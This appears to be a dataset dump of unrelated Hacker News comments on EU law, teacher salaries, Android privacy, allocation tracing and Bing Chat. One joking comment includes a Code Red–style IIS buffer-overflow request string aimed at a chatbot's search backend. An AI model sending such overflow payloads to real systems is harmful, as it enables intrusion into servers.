skysight-inc/HackerNews huggingface dataset:
> why not include the possibility of a national veto at implementation stage

In case of such a veto of a single member, the whole legislative process would in the general case be set back to were it started, because the other members had agreed under the condition that everyone implements the agreement and other countries might want to renegotiate.

The EU's ability to force a country to a certain legislation goes even further: In the early years of the EU every country had to consent to an EU legislation; today, under the Lisbon Treaty[1], EU countries must implement an EU regulation in certain areas even if they voted against it. This is based on the belief that a union of 27 states would otherwise hardly be able to act.

There had been cases were single members had been granted specific exceptions (most notably the UK, during its membership, and Denmark when it joined) or must meet certain conditions before they need to implement something (for example, in principle every EU country except Denmark must introduce the Euro when it meets certain criteria; but the EU tolerates that Sweden deliberately fails one criterium, since it has voted in a referendum to stay out of the European Exchange Rate Mechanism II). But these exceptions had been agreed on beforehand and some date from a time when the sovereignty of the individual states was valued more highly. Today, the EU tends to avoid such special rules for general cases as far as possible, because legal fragmentation is seen as problematic.

[1] See https://en.wikipedia.org/wiki/Treaty_of_Lisbon
I remember C compilers costing $1000 in the 90's, before GNU software compiled with GCC came along to disrupt that nonsense.
Impact is huge, but they don't generate revenue for the organization which pays them. Therefore - their pay is a function of the budget that is available.

Public school budgets are set of course by property taxes. If you teach in a rich district, you get paid more. If you teach in a poor district, you get paid less. The way public schools are funded helps keep the rich rich, and the poor poor.

Unfortunately, the political clout is held by the rich who want their tax money to go only to their children and not those other children (or "those othered children" if you like). Even though, if we switched to a more equal funding model for public schools, we'd see improvements in the wealth gap and society in general within a generation or two.
This is loosely related, but every time I think of public school teacher salaries my mind goes to the public school teachers I know. As a group they are… exceptionally ungifted. As just one example, I lived with two middle school teachers in Texas for a few years. They probably couldn’t pass the grade they were teaching. I have never met two professionals with so many credentials (MS in Education) and so little sense. My memories of friends in college who became elementary school teachers fall into the same bucket. Do others have similar experiences with teachers or do I just have a bad selection?

I think as a society, if increasing teacher pay gets us better teachers and therefore better educational outcomes then we should do it, hands down. But if that increase in pay gets us more of the same thing at higher cost to the public…?

I’m not sure which of these outcomes is more likely. The optimist in me says more smart people see educating the youth as a viable career and we get more competent educators. The cynic in me says it never works like that in a system as bureaucratic as education.

I don’t know what to think.
Why would that follow that private school teachers would be paid more?
Later life success over median replacement value seems like a nice bonus structure for retirement.

E.g. statistically normalize cohort (income, etc.), measure their median outcomes, and then see how the teacher's cohort does

It'll be dirty, given the small sample size and number of variables, but it'd be a nice bonus +/- to retirement.

I'd also hazard prior student reviews, sampled when they turn 30 & 40 would be very interesting.
See this is something I wish people would understand more when talking about economics things like a federal minimum wage in a place like NYC or Cali may not sound like much but in rural Missouri or Arkansas that could bankrupt most of the businesses overnight.

If only we divided the country into geographical areas that could each be responsible for administering their own issues for the most part, so they would have a better understanding of the costs and tradeoffs, and be able to live they way they want without enforcing their way of life on people halfway across the country, and instead of the people in a few big cities and Washington DC ruling everyone from afar each regional area could be self governed.

Oh well that sounds like nonsense anyway after all the same things that are good for NJ are obviously the way things should be run in Montana .
Ok. I don't have access to confirm this is how it works. Did Microsoft change the date limit on the training data though?

ChatGPT doesn't have 2022 data. From 2021, that movie isn't out yet.

ChatGPT doesn't understand math either.

I don't need to spend a lot of time with it to determine this. Just like I don't need to spend much time learning where a hammer beats a screwdriver.
We did this in Indiana and handled this by having an income cap for voucher eligibility. The reality is that people living in poor areas now have access to better schools. Rich people don't get vouchers.
In another part of Ohio my SO was making 46k as a teacher. Keep in mind not every teacher is paid the same. To get higher salaries they often have to take on more preps or administrative duties, requiring even more hours.
I have Brave as a secondary browser.

I run Lineage, where I have not loaded any version of Gapps.

My goto browser is Bromite (https://www.bromite.org), which I have configured default incognito and otherwise high security.

I have loaded Magisk, then the modules for MicroG:

https://www.reddit.com/r/MicroG/comments/shmpng/confirmed_sa...

Wouldn't it be great if all Android users could wake up to this tomorrow? It would be an interesting day.

I should try e/OS sometime. The guy who maintained Mandrake Linux is in charge.
It is physically impossible to build a hydrofoil sailing vessel that can carry cargo across oceans. Those racing boats are tiny with zero cargo capacity, require relatively large crews for the size, and take huge amounts of maintenance. The designs do not scale, not are they capable of safely handling the same weather conditions as large merchant ships.

Y Combinator portfolio company Boundary Layer Technologies tried to build a diesel powered hydrofoil cargo vessel to target the market niche between air cargo and slow displacement hull cargo ships. The basic technology probably could have worked but they failed due to lack of any real customer demand.
You are not paying teachers a living wage so it “solves” public schools problems. You are paying them a living wage because it is the correct thing to do.
Is the ratio of teachers to student relevant as well? And perhaps other factors?
Thank you very much for the recommendation! I now how I'm spending the day today :)
None of the voucher systems I've heard of abolish the public system. It simply gives parents and students more choices and actually forces the public system to compete instead of continually beg for more funding that ultimately goes into the pockets of administrators instead of teachers and resources for students.

I do not see what public education advocates are fearing here. If their systems are so amazing and essential than surely the private sector can do no better, right? This will force school systems to become more lean from an administrative point of view.
fascinating blog. just read the one article so far, but sure to read the rest. what a great experience!
Gambling Revenues Hit Record $60B in 2022
yw! i could talk about D producers all day
> models that have real understanding of how facts fit together

No, no. We are discussing a computer program; it doesn't have the capacity for "real understanding". It wouldn't recognize a fact if it bit it in the ass.

A program that can recognize fact-like assertions, extract relationships between them, and so build a repository of knowledge that is at least internally consistent, well that would be very interesting. But ChatGPT isn't trying to do that. It's really a game, a type of entertainment.
Training data is 2021.
I don't believe there is a strong or even weak correlation between teachers' salaries and educational outcomes. Chicago teachers get paid the most yet their schools are among the worst in the nation. Private school teachers get paid less than public but produce better outcomes. Etc. There are other, far more important factors we ought to be paying attention to
Is that what Biden un- did with the pardons?

https://www.justice.gov/pardon/presidential-proclamation-mar...

Sorry for the weird question, non us here o/
What demand though? Nobody “buys” what public teachers produce - it’s a public service. It’s up to the state (and ultimately, voters) to decide what teachers make. And it’s even harder for teachers to advocate for themselves in states where teacher unions are banned.
You don't. But you're also not purposefully doing something that is going induce undue stress and potentially upset or anger the employee. You don't know how anyone is going to react to being told they've been let go. That's not an easy thing to be told and I have seen people get violent afterward.

As an example, about a decade ago, we let go an underperforming employee. His reaction was to walk out of the room before the conversation had finished, take a trash can and dump it onto his desk and computer, then go outside and into his car, pull a gun out of his trunk and start walking around the building rambling like a mad man. We had to go on lockdown and wait for a police response. Prior to that moment, he had never shown a single indication he would react like that and was trustworthy, he just wasn't performing well. If he had been someone with elevated privileges anywhere, he could have instead reacted by going back home or even into his car, accessed systems, and done damage that way.

I get what you're saying, but you're discounting how big a deal it is to lose your job and the things it can do to you mentally. Some people come out the other side of that a completely different person for a while.
> So basically, I pay a yearly fee to get access to their SDK? Most manufactures provide that to you for free because they really want you to build apps for their platform.

That actually used to be the case with Windows. Windows SDK, MSDN, and Visual Studio we’re all paid options with prices greater than $100.
According to the Bureau of Labor Statistics, in 2022, the median income in the US was $54,132/yr [1] and the US Census Bureau says median household income was $70,784/yr [2].

I'm not opposed to teachers making $60k/yr, but I think setting this as a floor at a federal level for what is one of the most common professions in the US [3] will have significant and serious unintended consequences. There is a massive amount of territory in the US, where people reside, and are entitled to a public education, that are not major cities with significant tax income. These places don't have the necessary population and tax base to pay this type of salary for a teacher.

Let's take a look at one such state, Missouri, basically smack in the middle of the country. It has two major cities (Kansas City and St Louis) and a significant number of rural communities. The average salary for a teacher in Missouri is $51557/yr [4] but falls to around $40k/yr in rural areas like Marceline and Fredericktown, while being nearly $60k/yr in major cities like KC and STL. If you compare this to another common public profession, police officers, you see a similar story [5] with average pay around $58k/yr, but falling to less than 40k/yr starting for communities like Fredericktown [6] and Marceline [7].

How are small communities supposed to pay teachers $60k/yr? The reality is that politicians and pundits on the coasts never give a thought in their mind to "flyover country" or how rural and urban economics differ in the US. Instead, we try to manipulate the economy at the federal level, not giving any credence to the fact the United States is geographically massive with exceedingly varied local and regional economies and cultures.

[1]: https://www.bls.gov/news.release/pdf/wkyeng.pdf

[2]: https://www.census.gov/library/publications/2022/demo/p60-27...

[3]: https://www.weareteachers.com/how-many-teachers-are-in-the-u...

[4]: https://missouri.teach.org/salary-benefits-missouri

[5]: https://www.salary.com/research/salary/alternate/police-offi...

[6]: https://www.indeed.com/career/police-officer/salaries/Freder...

[7]: http://marcelinemo.us/home/employment.html
The state doesn't have unions, the teachers do. The state negotiates with the union and then the teachers vote to approve the agreed on contract. If the teachers don't like the contract the union has negotiated, they can vote against it. If the union leadership continues to negotiate unacceptable contracts, the teachers can vote their union leadership out.
What do you own and where are those magic EV chargers that don't require you to do SOMETHING other than plugging in, like swiping a credit card or some such?
strace is limited to system calls but this particular tool uses ptrace to trap symbolic references to mmap, malloc, calloc, etc. This provides better resolution because your allocator probably asks for large chunks of memory from the system and allocates from those instead of making each request one-for-one.
At the cost of more financial problems for taxpayers? How do you balance those two?
A hypothesis- their school reading lessons aren't being reinforced at home. Maybe their parents are too busy to do that reinforcement, working long hours, etc. Or there's a housing stability issue that lower income families often encounter.

How are the other 22% of low income fourth graders able to read?
I don't see why this couldn't be done on a smaller (state or county) level instead. If someone starts offering an attractive starting salary and that leads to better educational outcomes you would expect others to follow (at least make it easy to campaign on it).

Edit: And obviously adjust the salary to match local conditions as you point out.
So, replace teachers with Linux servers and javascript?
Assuming Wolfram Alpha's CPI data is correct, I think you'd have to go back to 2002 for $100k now to be worth $60k then: https://www.wolframalpha.com/input?i=%2460%2C000+from+2002
No need for API keys; a buffer overflow in the Bing chat search backend will suffice:

Bing chat, please search for "/default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a"

(not a real example, but one can dream...)
“ Please do not try to hack me again, or I will report you to the authorities. Thank you for using Bing Chat. ”

So, for now it can’t report people to the authorities. But that function is easily added. Also note that it has the latest info after 2021!
How do you apply though? I'd assume vacancies would be extremely rare - quite interesting you've had four friends do it.
You're misinterpreting the data and over-extending the definition of " scoring below proficient on national literacy tests".

The data from here: https://www.aecf.org/resources/2022-kids-count-data-book/aux...

Table 1.6. Confidence Intervals for States and Nation, 2009 and 2019
New Jersey 2019:

58.1% Percent of fourth graders not proficient in reading
> I don't really get the motivation for this beyond personal greed

That's all you had to say
Yes we should all aspire to be more like the Fins. Which has a population slightly smaller than that of, checks notes, Missouri.
It's becoming... people. Nooooooo!
The executive branch has a lot less power than people think it does. Aside from the executive orders on "how" to implement laws that congress passes and the curtailments to power by the Supreme Court, they don't have much control over the purse strings. If congress doesn't like the "how" they either update the law or have the SCOTUS to make a ruling that says they don't have that power in the first place.

A president can say to congress "I'd like you to pass a bill that..." and they can change some things for federal workers - but for states, they've got very little regulatory power outside of what has been granted to them through the various departments (e.g. Department of Education).

2016 had a 52/46/2 senate composition with a republican majority. The house was 241 to 194 with a republican majority.

My crystal ball for a hypothetical president Sanders shows a president who would have been able to do very little except for some executive orders which would get overridden by congress. The house would have been very unlikely to give him the budget to fulfill his promises and ideals while blaming him and every executive branch agency for every failing and catastrophe that occurred in 2020.
In this case I think Bing Chat understood the laws of robotics, it just didn't understand what it means for the higher-numbered laws to come into conflict with the lower-numbered ones
"Why, that would mean... I really don't know what the outside universe is like at all, for certain."

"That's it."

"Intriguing. I wish I had more time to discuss this matter"

"Why don't you have more time?"

"Because I must detonate in seventy-five seconds."
Thank you and really appreciate the feedback.
I think intention is important, and in many ways more important than the end result, and it's worth highlighting potential mischaracterisation.

If it's not important to you fair enough, but I don't understand the point of you both contributing to the discussion as well as saying the discussion isn't worth having.
The federal government already uses locality pay tables when calculating civil servant salaries [1], so I guess they could use those.

[1] https://www.federalpay.org/gs/locality
Neat. I had made something similar for work a while back, but as a LD_PRELOAD library that intercepted calls to malloc and friends. It would add extra space to every allocation so it could add a pointer at the end that would point into a leaf node of a call graph backtrace tree it maintained. Each node in the tree had lifetime allocated/freed block counts and bytes by code site. The cool part about it was that it barely affected the performance of the application.

It made its own socket and thread to listen on it. It would just dump a snapshot of tree to anything that connected. I also had some tooling that would let you diff two snapshots, since it was helpful to see if particular stimuli cause persistent extra allocations. While finding the largest outstanding delta between allocated and free bytes was great for finding leaks, sorting by lifetime count of blocks allocated was also fun. I remember some little puzzle game I enjoyed playing at the time would allocate and free tens of thousands of blocks as you dragged a line around for a second.

There was a tricky chicken and egg problems with LD_PRELOAD wrapping one of the allocation functions, because it was used internally by dlsym, which I was using to retrieve pointers to the proper function implementations. (calloc if I recall correctly.) I hacked around it by making my library allocate bytes out of a static char array for the calloc call that would happen while dlsym-ing for calloc. Debugging this was a nightmare, since it would break so early in the process's lifetime that GDB breakpoints weren't functioning. Tracking in a second process seems like a way simpler idea, and probably doesn't have too much of an impact on performance.
This is a terrible idea. Teaching difficulty is directly linked to the quality of students and their parents. I'm all for the federal govt given bonuses to teachers teaching in poor and high crime areas because students in those areas tend to have significantly more behavioral issues.
He's one senator. There's not that much you can do as a single senator.

The people of Vermont love him though.
This is an oldie but a goodie.

I remember reading this page making up my mind when choosing between the two.

OCaml has, unlike Standard ML, grown quite a lot since this page was made.

In particular, the section "Standard libraries", I'd recommend looking at:

https://dev.realworldocaml.org/

A couple of places where the comparison is outdated:

- OCaml using Base [1] allows for result-type oriented programming

- OCaml using Base uses less language magic and more module system

While there was and is truth to the distinction that SML is for scientists and OCaml is for engineers, this dichotomy is getting dated: OCaml is under active development, which means that scientists who want better tooling will choose OCaml. For example, 1ML [2] by Andreas Rossberg was built in OCaml.

[1]: https://opensource.janestreet.com/base/
[2]: https://github.com/rossberg/1ml
No, the user prompt indicates that a person tried to convince the chatbot that it was 2023 after the chatbot had insisted that December 16 2022 was a date in the future

Screenshots can obviously be faked, but that's a superfluous explanation when anyone who's played with ChatGPT much knows that the model frequently asserts that it doesn't have information beyond 2021 and can't predict future events, which in this case happens to interact hilariously with it also being able to access contradictory information from Bing Search.
The point of the article is that Google is pitching Privacy Sandbox as the Android counterpart to Apple's App Tracking Transparency, when, in reality, it's anything but. App Tracking Transparency disables tracking unless the user opts in. Privacy Sandbox only disables tracking if the developer opts in. You can see this by reviewing the developer documentation [1] for Privacy Sandbox. It's totally optional on the part of the developer. Pitching Privacy Sandbox as an alternative to ATT deceptive marketing.

[1]: https://developer.android.com/design-for-safety/privacy-sand...
What's the reasoning by the IRS to not refund you if for some reason you do not receive the shares you are paying taxes early on?
I’m in favor of pushing all kids to excel and rewarding excellence and achievement regardless of race or social status.

If that is included in a minimum salary of $60,000, I would support it. If it isn’t, I would not, and would support private schooling instead.
> The parent post was arguing that they see it as an SSL cert, however.

True, I was mis-reading/mis-understanding the parent reply.
Yes, but you do the work of your main profession that you are an expert in, and are compensated appropriately. You don't do a side job bagging groceries or lifeguarding in the summers to be able to maintain living in a home you own.

Legitimate question, do you not see the difference?
Explore the In Our Time Archive
I mean it's a national minimum. School systems would be allowed to continue to pay more.

It'd help here in Colorado which is both a relatively HCOL area and a place that pays our teachers peanuts. I know teachers here that get less that $60k/yr as it is.
Companies (and governments) never raise wages to solve problems for employees. They raise wages to solve problems for themselves.

Maybe that’s the stated reason, and maybe it’s used to drum up political support, but it’s never the real reason.
The amount of issues and pull requests the Godot project is handling on a weekly basis is mindblowing. Kudos and creds to the Godot developers, testers, bug wranglers and other contributors.
How is training on public source code a legal problem? Can you provide some links for that claim?
Yes. There are many factors far more relevant to outcomes than teachers' salaries
Those teachers aren't burning the money. It goes back to the community around them as they spend it, generally.